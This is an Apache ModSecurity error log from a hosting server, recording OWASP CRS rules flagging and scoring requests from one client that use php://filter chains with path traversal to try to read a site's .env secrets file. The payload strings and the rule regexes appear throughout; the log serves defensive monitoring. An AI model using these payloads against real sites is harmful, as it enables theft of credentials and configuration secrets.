[Fri Jul 17 08:55:11.528949 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.529328 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.530370 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.530518 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.530814 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8hgAAABA"]
[Fri Jul 17 08:55:11.532439 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ref=wqpKgTsPcg1WuR2XkzsUZcVvmqqpEV_VxRosxLGfwiauJDRmM8kN7JrKK1G3a_lDQQ-41lzAZNj1S-q1Gu0iwqjBfIPtK95wGdM_6IIlcwxI9s_fqGZs87m8rLBZPS6HS5beKanu8SI1KG4xkEM0x-fys68rrzvk-pgA7X3KMUz667UDmMuJY3aX7L7YWaM4x4LnuaPyo462mjanwoy5RqNY1_0Pnfi2nUAaNlgRq44NZEeyyvRZc8Qpp1R9oprEPbu1KVO9pzs-Sn3nGZ1j6Zgh&ref=7AI7JAYDHIZDSOR2Q74AHDUNCK6QIYRFNZMBIVMO3L63V2EAWXC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.532510 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.532599 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ref=wqpKgTsPcg1WuR2XkzsUZcVvmqqpEV_VxRosxLGfwiauJDRmM8kN7JrKK1G3a_lDQQ-41lzAZNj1S-q1Gu0iwqjBfIPtK95wGdM_6IIlcwxI9s_fqGZs87m8rLBZPS6HS5beKanu8SI1KG4xkEM0x-fys68rrzvk-pgA7X3KMUz667UDmMuJY3aX7L7YWaM4x4LnuaPyo462mjanwoy5RqNY1_0Pnfi2nUAaNlgRq44NZEeyyvRZc8Qpp1R9oprEPbu1KVO9pzs-Sn3nGZ1j6Zgh&ref=7AI7JAYDHIZDSOR2Q74AHDUNCK6QIYRFNZMBIVMO3L63V2EAWXCSWQJRABBRYL2GTMYUGY7MRUJE7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.532655 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ref=wqpkgtspcg1wur2xkzsuzcvvmqqpev_vxrosxlgfwiaujdrmm8kn7jrkk1g3a_ldqq-41lzaznj1s-q1gu0iwqjbfiptk95wgdm_6iilcwxi9s_fqgzs87m8rlbzps6hs5bekanu8si1kg4xkem0x-fys68rrzvk-pga7x3kmuz667udmmujy3ax7l7ywam4x4lnuapyo462mjanwoy5rqny1_0pnfi2nuaanlgrq44nzeeyyvrzc8qpp1r9oprepbu1kvo9pzs-sn3ngz1j6zgh&ref=7ai7jaydhizdsor2q74ahdunck6qiyrfnzmbivmo3l63v2eawxcswqjrabbryl2gtmyugy7mruje7..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.532697 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.532730 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.533234 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.534407 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.534524 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.534792 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4l9vhFBGA6D8l95ygAAAAw"]
[Fri Jul 17 08:55:11.537280 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&view=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&debug=MKen5LeU7k6J7F_0HDWNNQ6xJTyAFPrHHeXEKq9yXTUq76WaOvqY_ELVmIwkud3FJQTnO17yek8gnntyiVno-BI6bdRfSNFHBWtlDS9RgYy9rPHnA9DC0lr_qKwyPXgg2F5Vj_fcOGxWRKF3tFoah1RC5qacXERsL8HA_QF9biPP4ddNbG4R2QlbYqAMbsDOngNtc4e2iv6xCtSTtt5ePlmsnAG3xlgXVo7XMk7j4kblvAXGRUUcsdCIwHqMNHCa2WGQhquycwNa6KMmj0HAiNbe&ts=MFG3A3LVUJO3JPZ4UPUKFC7I2KYSNBZH6IWJVIVQBC5NQ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537339 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537399 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&debug=MKen5LeU7k6J7F_0HDWNNQ6xJTyAFPrHHeXEKq9yXTUq76WaOvqY_ELVmIwkud3FJQTnO17yek8gnntyiVno-BI6bdRfSNFHBWtlDS9RgYy9rPHnA9DC0lr_qKwyPXgg2F5Vj_fcOGxWRKF3tFoah1RC5qacXERsL8HA_QF9biPP4ddNbG4R2QlbYqAMbsDOngNtc4e2iv6xCtSTtt5ePlmsnAG3xlgXVo7XMk7j4kblvAXGRUUcsdCIwHqMNHCa2WGQhquycwNa6KMmj0HAiNbe&ts=MFG3A3LVUJO3JPZ4UPUKFC7I2KYSNBZH6IWJVIVQBC5NQBIJQXFABSSKGDSKLT32ZJM6PG2GP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537455 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&view=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&debug=mken5leu7k6j7f_0hdwnnq6xjtyafprhhexekq9yxtuq76waovqy_elvmiwkud3fjqtno17yek8gnntyivno-bi6bdrfsnfhbwtlds9rgyy9rphna9dc0lr_qkwypxgg2f5vj_fcogxwrkf3tfoah1rc5qacxersl8ha_qf9bipp4ddnbg4r2qlbyqambsdongntc4e2iv6xctsttt5eplmsnag3xlgxvo7xmk7j4kblvaxgruucsdciwhqmnhca2wgqhquycwna6kmmj0hainbe&ts=mfg3a3lvujo3jpz4upukfc7i2kysnbzh6iwjvivqbc5nqbijqxfabsskgdsklt32zjm6pg2gp..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537496 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537521 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:view: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.537883 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.538647 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:view: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScwAAAB4"]
[Fri Jul 17 08:55:11.538913 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.539030 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.539429 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBRwAAAAY"]
[Fri Jul 17 08:55:11.540145 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vScwAAAB4"]
[Fri Jul 17 08:55:11.540325 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.540758 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vScwAAAB4"]
[Fri Jul 17 08:55:11.560246 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: 